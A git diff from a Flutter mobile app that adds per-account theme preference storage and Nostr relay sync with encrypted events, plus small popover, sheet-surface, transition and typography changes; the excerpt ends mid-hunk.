+class CommunityThemeStorage {
+  static const _prefix = 'buzz-community-theme.v1';
+  static const _outboxPrefix = 'buzz-community-theme-outbox.v1';
+  static const _migrationPrefix = 'buzz-community-theme-migrated.v1';
+  static const _legacyModeKey = 'buzz_theme_mode';
+  static const _legacyAccentKey = 'buzz_accent_color';
+  static const _legacySchemeKey = 'buzz_color_scheme';
+
+  final SharedPreferences prefs;
+
+  const CommunityThemeStorage(this.prefs);
+
+  String key(String pubkey, String relayUrl) =>
+      '$_prefix:$pubkey:${Uri.encodeComponent(normalizeCommunityRelayUrl(relayUrl))}';
+
+  String outboxKey(String pubkey, String relayUrl) =>
+      '$_outboxPrefix:$pubkey:${Uri.encodeComponent(normalizeCommunityRelayUrl(relayUrl))}';
+
+  CommunityThemePreference? _readKey(String storageKey) {
+    try {
+      final raw = prefs.getString(storageKey);
+      if (raw == null) return null;
+      final decoded = jsonDecode(raw);
+      if (decoded is! Map<String, dynamic>) return null;
+      return CommunityThemePreference.fromJson(decoded);
+    } catch (_) {
+      return null;
+    }
+  }
+
+  CommunityThemePreference? read(String pubkey, String relayUrl) =>
+      _readKey(key(pubkey, relayUrl));
+
+  CommunityThemePreference? readOutbox(String pubkey, String relayUrl) =>
+      _readKey(outboxKey(pubkey, relayUrl));
+
+  Future<bool> write(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference preference,
+  ) => prefs.setString(key(pubkey, relayUrl), jsonEncode(preference.toJson()));
+
+  Future<bool> writeOutbox(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference preference,
+  ) => prefs.setString(
+    outboxKey(pubkey, relayUrl),
+    jsonEncode(preference.toJson()),
+  );
+
+  Future<void> clearOutbox(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference acknowledged,
+  ) async {
+    if (readOutbox(pubkey, relayUrl) == acknowledged) {
+      await prefs.remove(outboxKey(pubkey, relayUrl));
+    }
+  }
+
+  bool hasMigrated(String pubkey) =>
+      prefs.getBool('$_migrationPrefix:$pubkey') == true;
+
+  Future<bool> markMigrated(String pubkey) =>
+      prefs.setBool('$_migrationPrefix:$pubkey', true);
+
+  Future<void> writeLegacy(CommunityThemePreference preference) async {
+    await prefs.setString(_legacyModeKey, preference.mode.name);
+    await prefs.setString(_legacySchemeKey, preference.theme);
+    await prefs.setInt(
+      _legacyAccentKey,
+      accentIndexForWireValue(preference.accent) ?? defaultAccentIndex,
+    );
+  }
+
+  CommunityThemePreference legacyPreference() {
+    final modeName = prefs.getString(_legacyModeKey);
+    final mode =
+        ThemeMode.values.where((value) => value.name == modeName).firstOrNull ??
+        ThemeMode.system;
+    final storedTheme = prefs.getString(_legacySchemeKey);
+    final theme = findTheme(storedTheme ?? 'buzz')?.name ?? 'buzz';
+    final legacyAccent = prefs.getInt(_legacyAccentKey);
+    final resolvedTheme = switch (mode) {
+      ThemeMode.system => schemeForAppearanceMode(theme, mode) ?? theme,
+      ThemeMode.light ||
+      ThemeMode.dark => effectiveTheme(theme, mode)?.name ?? theme,
+    };
+    return CommunityThemePreference(
+      theme: resolvedTheme,
+      accent: legacyAccentWireValue(legacyAccent),
+      followSystem: mode == ThemeMode.system,
+    );
+  }
+}
+
+String normalizeCommunityRelayUrl(String relayUrl) =>
+    relayUrl.trim().replaceFirst(RegExp(r'/+$'), '').toLowerCase();
diff --git a/mobile/lib/shared/theme/community_theme_provider.dart b/mobile/lib/shared/theme/community_theme_provider.dart
new file mode 100644
index 0000000000..4d66de8844
--- /dev/null
+++ b/mobile/lib/shared/theme/community_theme_provider.dart
@@ -0,0 +1,230 @@
+import 'dart:async';
+
+import 'package:flutter/material.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:nostr/nostr.dart' as nostr;
+
+import '../crypto/nip44.dart';
+import '../relay/relay.dart';
+import 'accent_colors.dart';
+import 'community_theme_preference.dart';
+import 'community_theme_sync.dart';
+import 'theme_provider.dart';
+
+class CommunityThemeNotifier extends Notifier<CommunityThemePreference> {
+  CommunityThemeSyncManager? _manager;
+  late CommunityThemeStorage _storage;
+  String? _pubkey;
+  String? _relayUrl;
+  Future<void> _persistenceQueue = Future<void>.value();
+  int _localRevision = 0;
+  CommunityThemePreference? _scopedLocalPreference;
+  String? _scopedLocalPubkey;
+  String? _scopedLocalRelayUrl;
+
+  @override
+  CommunityThemePreference build() {
+    _manager?.dispose();
+    _manager = null;
+
+    _storage = ref.watch(communityThemeStorageProvider);
+    final config = ref.watch(relayConfigProvider);
+    final session = ref.watch(relaySessionProvider);
+    final pubkey = pubkeyFromNsec(config.nsec);
+    _pubkey = pubkey;
+    _relayUrl = config.baseUrl;
+
+    if (pubkey == null || config.nsec == null) {
+      final legacy = _storage.legacyPreference();
+      unawaited(_storage.writeLegacy(legacy));
+      return legacy;
+    }
+
+    final cached = _storage.read(pubkey, config.baseUrl);
+    final dirty = _storage.readOutbox(pubkey, config.baseUrl);
+    final inMemoryLocal =
+        _scopedLocalPubkey == pubkey && _scopedLocalRelayUrl == config.baseUrl
+        ? _scopedLocalPreference
+        : null;
+    if (inMemoryLocal == null) {
+      _scopedLocalPreference = null;
+      _scopedLocalPubkey = pubkey;
+      _scopedLocalRelayUrl = config.baseUrl;
+    }
+    final fallback = _storage.hasMigrated(pubkey)
+        ? defaultCommunityTheme
+        : _storage.legacyPreference();
+    final initial = inMemoryLocal ?? dirty ?? cached ?? fallback;
+
+    if (session.status == SessionStatus.connected) {
+      late final CommunityThemeSyncManager manager;
+      manager = CommunityThemeSyncManager(
+        pubkey: pubkey,
+        relaySession: ref.read(relaySessionProvider.notifier),
+        signedEventRelay: SignedEventRelay(
+          session: ref.read(relaySessionProvider.notifier),
+          nsec: config.nsec!,
+        ),
+        crypto: _crypto(config.nsec!, pubkey),
+        onRemote: (remote) => _applyRemote(manager, remote),
+        onPublished: (preference) {
+          if (_scopedLocalPubkey == pubkey &&
+              _scopedLocalRelayUrl == config.baseUrl &&
+              _scopedLocalPreference == preference) {
+            _scopedLocalPreference = null;
+          }
+          unawaited(_storage.clearOutbox(pubkey, config.baseUrl, preference));
+        },
+      );
+      _manager = manager;
+      final pending = inMemoryLocal ?? dirty;
+      if (pending != null) manager.publish(pending);
+      Future.microtask(() async {
+        final result = await manager.initialize();
+        if (_manager != manager) return;
+        if (result.status == CommunityThemeRemoteStatus.absent) {
+          final seedRevision = _localRevision;
+          await _enqueuePersistence(() async {
+            if (_manager != manager || _localRevision != seedRevision) return;
+            final currentDirty = _storage.readOutbox(pubkey, config.baseUrl);
+            final seed =
+                currentDirty ?? _storage.read(pubkey, config.baseUrl) ?? state;
+            if (!await _storage.write(pubkey, config.baseUrl, seed)) return;
+            if (_manager != manager || _localRevision != seedRevision) return;
+            if (!await _storage.writeOutbox(pubkey, config.baseUrl, seed)) {
+              return;
+            }
+            if (_manager == manager && _localRevision == seedRevision) {
+              manager.publish(seed);
+            }
+          });
+        }
+        if (result.status == CommunityThemeRemoteStatus.valid ||
+            result.status == CommunityThemeRemoteStatus.absent) {
+          await _storage.markMigrated(pubkey);
+        }
+      });
+      ref.onDispose(manager.dispose);
+    }
+    return initial;
+  }
+
+  void setMode(ThemeMode mode) {
+    var theme = state.theme;
+    if (mode == ThemeMode.system) {
+      theme = schemeForAppearanceMode(theme, mode) ?? theme;
+    } else {
+      final effective = effectiveTheme(theme, mode);
+      if (effective != null) theme = effective.name;
+    }
+    _save(
+      CommunityThemePreference(
+        theme: theme,
+        accent: state.accent,
+        followSystem: mode == ThemeMode.system,
+      ),
+    );
+  }
+
+  void setTheme(String? theme) {
+    _save(
+      CommunityThemePreference(
+        theme: theme ?? defaultSchemeName,
+        accent: state.accent,
+        followSystem: state.followSystem,
+      ),
+    );
+  }
+
+  void setAccent(int index) {
+    if (index < 0 || index >= accentColors.length) return;
+    _save(
+      CommunityThemePreference(
+        theme: state.theme,
+        accent: accentColors[index].wireValue,
+        followSystem: state.followSystem,
+      ),
+    );
+  }
+
+  void _save(CommunityThemePreference preference) {
+    if (preference == state) return;
+    state = preference;
+    _localRevision++;
+    final pubkey = _pubkey;
+    final relayUrl = _relayUrl;
+    if (pubkey == null || relayUrl == null) {
+      unawaited(_storage.writeLegacy(preference));
+      return;
+    }
+    _scopedLocalPreference = preference;
+    _scopedLocalPubkey = pubkey;
+    _scopedLocalRelayUrl = relayUrl;
+    _manager?.stage(preference);
+    unawaited(
+      _enqueuePersistence(
+        () => _persistAndPublish(pubkey, relayUrl, preference),
+      ),
+    );
+  }
+
+  Future<void> _enqueuePersistence(Future<void> Function() operation) {
+    final result = _persistenceQueue.then((_) => operation());
+    _persistenceQueue = result.catchError((Object _) {});
+    return result;
+  }
+
+  Future<void> _persistAndPublish(
+    String pubkey,
+    String relayUrl,
+    CommunityThemePreference preference,
+  ) async {
+    if (!await _storage.write(pubkey, relayUrl, preference)) return;
+    if (!await _storage.writeOutbox(pubkey, relayUrl, preference)) return;
+    if (_pubkey == pubkey && _relayUrl == relayUrl) {
+      final manager = _manager;
+      if (manager != null) {
+        manager.stage(preference);
+        manager.publishStaged(preference);
+      }
+    }
+  }
+
+  void _applyRemote(
+    CommunityThemeSyncManager manager,
+    RemoteCommunityTheme remote,
+  ) {
+    if (_manager != manager) return;
+    final pubkey = _pubkey;
+    final relayUrl = _relayUrl;
+    if (pubkey != null &&
+        relayUrl != null &&
+        _storage.readOutbox(pubkey, relayUrl) != null) {
+      final dirty = _storage.readOutbox(pubkey, relayUrl)!;
+      manager.publish(dirty);
+      return;
+    }
+    state = remote.preference;
+    if (pubkey != null && relayUrl != null) {
+      unawaited(_storage.write(pubkey, relayUrl, remote.preference));
+    }
+  }
+}
+
+CommunityThemeCrypto _crypto(String nsec, String pubkey) {
+  final privateHex = nostr.Nip19.decode(payload: nsec).data;
+  final key = getConversationKey(privateHex, pubkey);
+  return CommunityThemeCrypto(
+    encrypt: (plaintext) => nip44Encrypt(key, plaintext),
+    decrypt: (ciphertext) => nip44Decrypt(key, ciphertext),
+  );
+}
+
+final communityThemeStorageProvider = Provider<CommunityThemeStorage>(
+  (ref) => CommunityThemeStorage(ref.watch(savedPrefsProvider)),
+);
+
+final communityThemeProvider =
+    NotifierProvider<CommunityThemeNotifier, CommunityThemePreference>(
+      CommunityThemeNotifier.new,
+    );
diff --git a/mobile/lib/shared/theme/community_theme_sync.dart b/mobile/lib/shared/theme/community_theme_sync.dart
new file mode 100644
index 0000000000..fdbe5ae3a2
--- /dev/null
+++ b/mobile/lib/shared/theme/community_theme_sync.dart
@@ -0,0 +1,366 @@
+import 'dart:async';
+import 'dart:convert';
+import 'dart:math';
+
+import 'package:flutter/foundation.dart';
+
+import '../relay/relay.dart';
+import 'community_theme_preference.dart';
+
+class CommunityThemeCrypto {
+  final String Function(String) encrypt;
+  final String Function(String) decrypt;
+
+  const CommunityThemeCrypto({required this.encrypt, required this.decrypt});
+}
+
+enum CommunityThemeRemoteStatus { valid, absent, invalid, unavailable }
+
+class RemoteCommunityTheme {
+  final CommunityThemePreference preference;
+  final int createdAt;
+  final String eventId;
+
+  const RemoteCommunityTheme({
+    required this.preference,
+    required this.createdAt,
+    required this.eventId,
+  });
+}
+
+class CommunityThemeRemoteResult {
+  final CommunityThemeRemoteStatus status;
+  final RemoteCommunityTheme? remote;
+
+  const CommunityThemeRemoteResult(this.status, [this.remote]);
+}
+
+class CommunityThemeSyncManager {
+  final String pubkey;
+  final RelaySessionNotifier relaySession;
+  final SignedEventRelay signedEventRelay;
+  final CommunityThemeCrypto crypto;
+  final Duration debounce;
+  final Duration publishRetryBase;
+  final Duration publishRetryMax;
+  final Duration subscriptionRetryBase;
+  final void Function(RemoteCommunityTheme) onRemote;
+  final void Function(CommunityThemePreference) onPublished;
+
+  Timer? _publishTimer;
+  Timer? _subscriptionRetryTimer;
+  void Function()? _unsubscribe;
+  CommunityThemePreference? _pending;
+  CommunityThemePreference? _lastPublished;
+  int _lastCreatedAt = 0;
+  String _lastEventId = '';
+  RemoteCommunityTheme? _lastRemote;
+  int _subscriptionEpoch = 0;
+  int _subscriptionRetryAttempt = 0;
+  int _publishRetryAttempt = 0;
+  bool _publishInFlight = false;
+  bool _publishRequestedWhileInFlight = false;
+  bool _disposed = false;
+
+  CommunityThemeSyncManager({
+    required this.pubkey,
+    required this.relaySession,
+    required this.signedEventRelay,
+    required this.crypto,
+    required this.onRemote,
+    this.onPublished = _ignorePublished,
+    this.debounce = const Duration(seconds: 2),
+    this.publishRetryBase = const Duration(seconds: 1),
+    this.publishRetryMax = const Duration(seconds: 30),
+    this.subscriptionRetryBase = const Duration(seconds: 1),
+  });
+
+  CommunityThemePreference? get pending => _pending;
+
+  Future<CommunityThemeRemoteResult> fetchRemote() async {
+    try {
+      final events = await relaySession.fetchHistory(_themeFilter(limit: 1));
+      if (events.isEmpty) {
+        return const CommunityThemeRemoteResult(
+          CommunityThemeRemoteStatus.absent,
+        );
+      }
+      final event = events.reduce(_newerEvent);
+      final remote = _decode(event);
+      return remote == null
+          ? const CommunityThemeRemoteResult(CommunityThemeRemoteStatus.invalid)
+          : CommunityThemeRemoteResult(
+              CommunityThemeRemoteStatus.valid,
+              remote,
+            );
+    } catch (_) {
+      return const CommunityThemeRemoteResult(
+        CommunityThemeRemoteStatus.unavailable,
+      );
+    }
+  }
+
+  Future<CommunityThemeRemoteResult> initialize() async {
+    final subscribed = await _startLiveSubscription();
+    if (_disposed) {
+      return const CommunityThemeRemoteResult(
+        CommunityThemeRemoteStatus.unavailable,
+      );
+    }
+    final result = await fetchRemote();
+    if (_disposed) return result;
+    if (result.status == CommunityThemeRemoteStatus.valid) {
+      _accept(result.remote!);
+    }
+    final remote = _lastRemote;
+    if (remote != null) {
+      return CommunityThemeRemoteResult(
+        CommunityThemeRemoteStatus.valid,
+        remote,
+      );
+    }
+    if (!subscribed && result.status == CommunityThemeRemoteStatus.absent) {
+      return const CommunityThemeRemoteResult(
+        CommunityThemeRemoteStatus.unavailable,
+      );
+    }
+    return result;
+  }
+
+  Future<bool> _startLiveSubscription() async {
+    if (_disposed) return false;
+    final epoch = ++_subscriptionEpoch;
+    try {
+      final unsubscribe = await relaySession.subscribe(
+        _themeFilter(limit: 0),
+        (event) {
+          if (_disposed || epoch != _subscriptionEpoch) return;
+          final remote = _decode(event);
+          if (remote != null) _accept(remote);
+        },
+        onClosed: (message) => _handleSubscriptionClosed(epoch, message),
+      );
+      if (_disposed || epoch != _subscriptionEpoch) {
+        unsubscribe();
+        return false;
+      }
+      _unsubscribe = unsubscribe;
+      _subscriptionRetryAttempt = 0;
+      return true;
+    } catch (error) {
+      if (!_disposed && epoch == _subscriptionEpoch) {
+        debugPrint('[CommunityThemeSync] live subscription failed: $error');
+        _scheduleSubscriptionRetry();
+      }
+      return false;
+    }
+  }
+
+  void _handleSubscriptionClosed(int epoch, String message) {
+    if (_disposed || epoch != _subscriptionEpoch) return;
+    debugPrint('[CommunityThemeSync] live subscription closed: $message');
+    _unsubscribe = null;
+    _scheduleSubscriptionRetry();
+  }
+
+  void _scheduleSubscriptionRetry() {
+    if (_disposed || _subscriptionRetryTimer != null) return;
+    final multiplier = 1 << min(_subscriptionRetryAttempt, 5);
+    _subscriptionRetryAttempt++;
+    _subscriptionRetryTimer = Timer(subscriptionRetryBase * multiplier, () {
+      _subscriptionRetryTimer = null;
+      unawaited(_recoverLiveSubscription());
+    });
+  }
+
+  Future<void> _recoverLiveSubscription() async {
+    if (_disposed) return;
+    if (!await _startLiveSubscription()) return;
+
+    // A relay CLOSED removes the retained subscription from RelaySession, so
+    // reconnect replay cannot recover it. Query the replacement coordinate
+    // after re-subscribing to close the gap while this stream was silent.
+    final result = await fetchRemote();
+    if (_disposed) return;
+    if (result.status == CommunityThemeRemoteStatus.valid) {
+      _accept(result.remote!);
+    }
+  }
+
+  NostrFilter _themeFilter({required int limit}) => NostrFilter(
+    kinds: const [EventKind.readState],
+    authors: [pubkey],
+    tags: const {
+      '#d': [communityThemeDTag],
+    },
+    limit: limit,
+  );
+
+  void stage(CommunityThemePreference preference) {
+    if (_disposed) return;
+    _pending = preference;
+    _publishRetryAttempt = 0;
+    _publishTimer?.cancel();
+    _publishTimer = null;
+  }
+
+  void publish(CommunityThemePreference preference) {
+    stage(preference);
+    publishStaged(preference);
+  }
+
+  void publishStaged(CommunityThemePreference preference) {
+    if (_disposed || _pending != preference) return;
+    _schedulePublish(debounce);
+  }
+
+  void _schedulePublish(Duration delay) {
+    if (_disposed) return;
+    _publishTimer?.cancel();
+    _publishTimer = Timer(delay, () {
+      _publishTimer = null;
+      unawaited(flush());
+    });
+  }
+
+  void cancelPending() {
+    _publishTimer?.cancel();
+    _publishTimer = null;
+    _pending = null;
+  }
+
+  Future<void> flush() async {
+    if (_publishInFlight) {
+      _publishTimer?.cancel();
+      _publishTimer = null;
+      _publishRequestedWhileInFlight = true;
+      return;
+    }
+    final preference = _pending;
+    if (_disposed || preference == null) return;
+    if (preference == _lastPublished) {
+      _pending = null;
+      onPublished(preference);
+      return;
+    }
+    _publishInFlight = true;
+    try {
+      final content = crypto.encrypt(jsonEncode(preference.toJson()));
+      if (_disposed) return;
+      final createdAt = max(
+        DateTime.now().millisecondsSinceEpoch ~/ 1000,
+        _lastCreatedAt + 1,
+      );
+      NostrEvent? signed;
+      await signedEventRelay.submit(
+        kind: EventKind.readState,
+        content: content,
+        tags: const [
+          ['d', communityThemeDTag],
+          ['t', communityThemeDTag],
+        ],
+        createdAt: createdAt,
+        onSigned: (event) => signed = event,
+      );
+      if (_disposed) return;
+      final published = signed;
+      if (published == null) {
+        throw StateError('Signed event coordinate unavailable');
+      }
+      final publishedCoordinateIsStale =
+          _lastCreatedAt > published.createdAt ||
+          (_lastCreatedAt == published.createdAt &&
+              _lastEventId.isNotEmpty &&
+              _lastEventId.compareTo(published.id) < 0);
+      if (publishedCoordinateIsStale) {
+        _lastPublished = null;
+        _publishRetryAttempt = 0;
+        if (_pending == preference) _schedulePublish(Duration.zero);
+        return;
+      }
+      _lastCreatedAt = published.createdAt;
+      _lastEventId = published.id;
+      _lastPublished = preference;
+      _publishRetryAttempt = 0;
+      if (_pending == preference) _pending = null;
+      onPublished(preference);
+    } catch (error) {
+      debugPrint('[CommunityThemeSync] publish failed: $error');
+      if (_disposed || _pending != preference) return;
+      final multiplier = 1 << min(_publishRetryAttempt, 30);
+      _publishRetryAttempt++;
+      final retryMs = min(
+        publishRetryBase.inMilliseconds * multiplier,
+        publishRetryMax.inMilliseconds,
+      );
+      _schedulePublish(Duration(milliseconds: retryMs));
+    } finally {
+      _publishInFlight = false;
+      if (!_disposed &&
+          _pending != null &&
+          (_publishRequestedWhileInFlight || _pending != preference) &&
+          _publishTimer == null) {
+        _publishRequestedWhileInFlight = false;
+        _schedulePublish(Duration.zero);
+      } else {
+        _publishRequestedWhileInFlight = false;
+      }
+    }
+  }
+
+  RemoteCommunityTheme? _decode(NostrEvent event) {
+    if (event.pubkey != pubkey ||
+        event.getTagValue('d') != communityThemeDTag) {
+      return null;
+    }
+    try {
+      final decoded = jsonDecode(crypto.decrypt(event.content));
+      if (decoded is! Map<String, dynamic>) return null;
+      return RemoteCommunityTheme(
+        preference: CommunityThemePreference.fromJson(decoded),
+        createdAt: event.createdAt,
+        eventId: event.id,
+      );
+    } catch (_) {
+      return null;
+    }
+  }
+
+  void _accept(RemoteCommunityTheme remote) {
+    if (remote.createdAt < _lastCreatedAt ||
+        (remote.createdAt == _lastCreatedAt &&
+            _lastEventId.isNotEmpty &&
+            remote.eventId.compareTo(_lastEventId) >= 0)) {
+      return;
+    }
+    _lastCreatedAt = remote.createdAt;
+    _lastEventId = remote.eventId;
+    _lastRemote = remote;
+    if (_pending != null) {
+      _lastPublished = null;
+      return;
+    }
+    _lastPublished = null;
+    onRemote(remote);
+  }
+
+  void dispose() {
+    if (_disposed) return;
+    _disposed = true;
+    _subscriptionEpoch++;
+    _subscriptionRetryTimer?.cancel();
+    _subscriptionRetryTimer = null;
+    cancelPending();
+    _unsubscribe?.call();
+    _unsubscribe = null;
+  }
+}
+
+void _ignorePublished(CommunityThemePreference _) {}
+
+NostrEvent _newerEvent(NostrEvent left, NostrEvent right) {
+  if (right.createdAt != left.createdAt) {
+    return right.createdAt > left.createdAt ? right : left;
+  }
+  return right.id.compareTo(left.id) < 0 ? right : left;
+}
diff --git a/mobile/lib/shared/theme/message_typography.dart b/mobile/lib/shared/theme/message_typography.dart
index 1073626390..5a5d2c2c6e 100644
--- a/mobile/lib/shared/theme/message_typography.dart
+++ b/mobile/lib/shared/theme/message_typography.dart
@@ -88,8 +88,14 @@ const contentListBodyTextStyle = TextStyle(
 /// Timestamps in compact content lists.
 const contentListTimestampTextStyle = messageMetadataTextStyle;
 
-/// Filter chip labels use the compact 15sp type ramp.
-const filterChipTextStyle = messageMetadataTextStyle;
+/// Filter chip labels use a tighter 15sp Inter treatment.
+const filterChipTextStyle = TextStyle(
+  fontFamily: _fontFamily,
+  fontSize: 15,
+  fontWeight: FontWeight.w400,
+  height: 1,
+  letterSpacing: 0,
+);
 
 /// Search fields use the primary 15sp body treatment.
 const searchInputTextStyle = messageBodyTextStyle;
diff --git a/mobile/lib/shared/theme/theme.dart b/mobile/lib/shared/theme/theme.dart
index 862534b4f7..0424e3b41a 100644
--- a/mobile/lib/shared/theme/theme.dart
+++ b/mobile/lib/shared/theme/theme.dart
@@ -4,6 +4,9 @@ export 'app_colors.dart';
 export 'app_theme.dart';
 export 'buzz_theme.dart';
 export 'color_scheme.dart';
+export 'community_theme_preference.dart';
+export 'community_theme_provider.dart';
+export 'community_theme_sync.dart';
 export 'grid.dart';
 export 'message_typography.dart';
 export 'theme_catalog.dart';
diff --git a/mobile/lib/shared/widgets/anchored_popover_menu.dart b/mobile/lib/shared/widgets/anchored_popover_menu.dart
index 46b50b6b00..94e7298682 100644
--- a/mobile/lib/shared/widgets/anchored_popover_menu.dart
+++ b/mobile/lib/shared/widgets/anchored_popover_menu.dart
@@ -9,11 +9,32 @@ const _popoverEnterDuration = Duration(milliseconds: 150);
 const _popoverExitDuration = Duration(milliseconds: 110);
 const _popoverStartScale = 0.96;
 
+/// Elevation shared by anchored menus and composer popover surfaces.
+const appPopoverElevation = 8.0;
+
+/// Returns the translucent surface color shared by app popovers.
+Color appPopoverColor(BuildContext context) =>
+    context.colors.surface.withValues(alpha: 0.98);
+
+/// Returns the shadow color shared by app popovers.
+Color appPopoverShadowColor(BuildContext context) =>
+    context.colors.shadow.withValues(alpha: 0.18);
+
+/// Returns the 20px shape and composer-matching hairline shared by popovers.
+RoundedRectangleBorder appPopoverShape(BuildContext context) =>
+    RoundedRectangleBorder(
+      borderRadius: BorderRadius.circular(Radii.popover),
+      side: BorderSide(color: Colors.black.withValues(alpha: 0.04), width: 1),
+    );
+
 /// The horizontal edge a popover aligns to on its triggering control.
 enum AnchoredPopoverAlignment {
   /// Aligns the popover's leading edge with the trigger's leading edge.
   start,
 
+  /// Centers the popover horizontally on the trigger.
+  center,
+
   /// Aligns the popover's trailing edge with the trigger's trailing edge.
   end,
 }
@@ -25,10 +46,10 @@ Future<T?> showAnchoredPopover<T>({
   required List<PopupMenuEntry<T>> items,
   required double width,
   required AnchoredPopoverAlignment alignment,
-  required Color color,
-  required ShapeBorder shape,
-  required double elevation,
-  required Color shadowColor,
+  Color? color,
+  ShapeBorder? shape,
+  double elevation = appPopoverElevation,
+  Color? shadowColor,
   Offset offset = Offset.zero,
   EdgeInsetsGeometry menuPadding = EdgeInsets.zero,
   Clip clipBehavior = Clip.antiAlias,
@@ -56,10 +77,10 @@ Future<T?> showAnchoredPopover<T>({
       width: width,
       alignment: alignment,
       offset: offset,
-      color: color,
-      shape: shape,
+      color: color ?? appPopoverColor(context),
+      shape: shape ?? appPopoverShape(context),
       elevation: elevation,
-      shadowColor: shadowColor,
+      shadowColor: shadowColor ?? appPopoverShadowColor(context),
       menuPadding: menuPadding,
       clipBehavior: clipBehavior,
       surfaceKey: surfaceKey,
@@ -142,6 +163,7 @@ class _AnchoredPopoverRoute<T> extends PopupRoute<T> {
     ).animate(curvedAnimation);
     final transformOrigin = switch (alignment) {
       AnchoredPopoverAlignment.start => Alignment.topLeft,
+      AnchoredPopoverAlignment.center => Alignment.topCenter,
       AnchoredPopoverAlignment.end => Alignment.topRight,
     };
 
@@ -216,6 +238,11 @@ class _AnchoredPopoverLayoutDelegate extends SingleChildLayoutDelegate {
     final anchorBottom = size.height - position.bottom;
     final desiredX = switch (alignment) {
       AnchoredPopoverAlignment.start => position.left + offset.dx,
+      AnchoredPopoverAlignment.center =>
+        position.left +
+            (size.width - position.left - position.right - childSize.width) /
+                2 +
+            offset.dx,
       AnchoredPopoverAlignment.end =>
         size.width - position.right - childSize.width + offset.dx,
     };
diff --git a/mobile/lib/shared/widgets/concentric_sheet_surface.dart b/mobile/lib/shared/widgets/concentric_sheet_surface.dart
new file mode 100644
index 0000000000..12e7e002fc
--- /dev/null
+++ b/mobile/lib/shared/widgets/concentric_sheet_surface.dart
@@ -0,0 +1,91 @@
+import 'package:flutter/foundation.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter/rendering.dart';
+import 'package:flutter/services.dart';
+import 'package:flutter_hooks/flutter_hooks.dart';
+
+import '../theme/theme.dart';
+
+/// An iOS-native sheet surface that adopts the system's concentric corners on
+/// iOS 26 and newer. Other platforms keep the normal Flutter shape.
+class ConcentricSheetSurface extends HookWidget {
+  const ConcentricSheetSurface({
+    required this.child,
+    required this.enabled,
+    this.color,
+    super.key,
+  });
+
+  final Widget child;
+  final bool enabled;
+  final Color? color;
+
+  static const _surfaceChannel = MethodChannel('buzz/concentric_sheet_surface');
+
+  Future<bool> _checkNativeSurfaceSupport() async {
+    try {
+      final supported = await _surfaceChannel.invokeMethod<bool>('isSupported');
+      return supported == true;
+    } on MissingPluginException {
+      // The registrar is unavailable, so retain the Flutter surface.
+      return false;
+    } on PlatformException {
+      // The native surface is optional; retain the Flutter surface on failure.
+      return false;
+    }
+  }
+
+  @override
+  Widget build(BuildContext context) {
+    final shouldCheckNativeSurface =
+        enabled && defaultTargetPlatform == TargetPlatform.iOS;
+    final supportFuture = useMemoized(
+      () => shouldCheckNativeSurface
+          ? _checkNativeSurfaceSupport()
+          : Future<bool>.value(false),
+      [shouldCheckNativeSurface],
+    );
+    final nativeSurfaceSupported = useFuture(supportFuture).data ?? false;
+
+    if (!shouldCheckNativeSurface) {
+      return child;
+    }
+
+    final surfaceColor = color ?? context.colors.surface;
+
+    return Padding(
+      padding: const EdgeInsets.only(
+        left: Grid.xxs,
+        right: Grid.xxs,
+        bottom: Grid.xxs,
+      ),
+      child: Stack(
+        children: [
+          if (nativeSurfaceSupported)
+            Positioned.fill(
+              child: ExcludeSemantics(
+                child: UiKitView(
+                  viewType: 'buzz/concentric_sheet_surface',
+                  hitTestBehavior: PlatformViewHitTestBehavior.transparent,
+                  creationParams: <String, Object>{
+                    'color': surfaceColor.toARGB32(),
+                    'minimumRadius': Radii.dialog,
+                  },
+                  creationParamsCodec: const StandardMessageCodec(),
+                ),
+              ),
+            )
+          else
+            Positioned.fill(
+              child: Material(
+                color: surfaceColor,
+                borderRadius: BorderRadius.circular(Radii.dialog),
+                clipBehavior: Clip.antiAlias,
+              ),
+            ),
+          child,
+        ],
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/shared/widgets/directional_transition_scope.dart b/mobile/lib/shared/widgets/directional_transition_scope.dart
new file mode 100644
index 0000000000..5e4e5971ac
--- /dev/null
+++ b/mobile/lib/shared/widgets/directional_transition_scope.dart
@@ -0,0 +1,67 @@
+import 'package:flutter/material.dart';
+
+/// Supplies a shared directional entrance to separate foreground surfaces.
+///
+/// Descendants opt in with [DirectionalTransitionMotion], which lets a page
+/// move its body and app-bar content together while leaving decorative
+/// backgrounds stationary.
+class DirectionalTransitionScope extends InheritedWidget {
+  /// Horizontal displacement remaining in the transition.
+  final double horizontalOffset;
+
+  /// Current foreground opacity, from zero to one.
+  final double opacity;
+
+  /// Creates a directional transition scope.
+  const DirectionalTransitionScope({
+    super.key,
+    required this.horizontalOffset,
+    required this.opacity,
+    required super.child,
+  });
+
+  /// Returns the closest transition, or null outside a transitioning surface.
+  static DirectionalTransitionScope? maybeOf(BuildContext context) =>
+      context.dependOnInheritedWidgetOfExactType<DirectionalTransitionScope>();
+
+  @override
+  bool updateShouldNotify(DirectionalTransitionScope oldWidget) =>
+      horizontalOffset != oldWidget.horizontalOffset ||
+      opacity != oldWidget.opacity;
+}
+
+/// Applies the nearest [DirectionalTransitionScope] to one foreground layer.
+class DirectionalTransitionMotion extends StatelessWidget {
+  /// Foreground content that participates in the shared transition.
+  final Widget child;
+
+  /// Optional key for inspecting the composited translation layer.
+  final Key? transformKey;
+
+  /// Optional key for inspecting the composited opacity layer.
+  final Key? opacityKey;
+
+  /// Creates a foreground transition participant.
+  const DirectionalTransitionMotion({
+    super.key,
+    required this.child,
+    this.transformKey,
+    this.opacityKey,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    final transition = DirectionalTransitionScope.maybeOf(context);
+    if (transition == null) return child;
+
+    return Transform.translate(
+      key: transformKey,
+      offset: Offset(transition.horizontalOffset, 0),
+      child: Opacity(
+        key: opacityKey,
+        opacity: transition.opacity,
+        child: child,
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/shared/widgets/filter_chip_bar.dart b/mobile/lib/shared/widgets/filter_chip_bar.dart
index 1fe55712a5..628267c167 100644
--- a/mobile/lib/shared/widgets/filter_chip_bar.dart
+++ b/mobile/lib/shared/widgets/filter_chip_bar.dart
@@ -129,15 +129,23 @@ class FilterChipBar<T> extends StatelessWidget {
             textAlign: fillWidth ? TextAlign.center : TextAlign.start,
             style: labelStyle,
           );
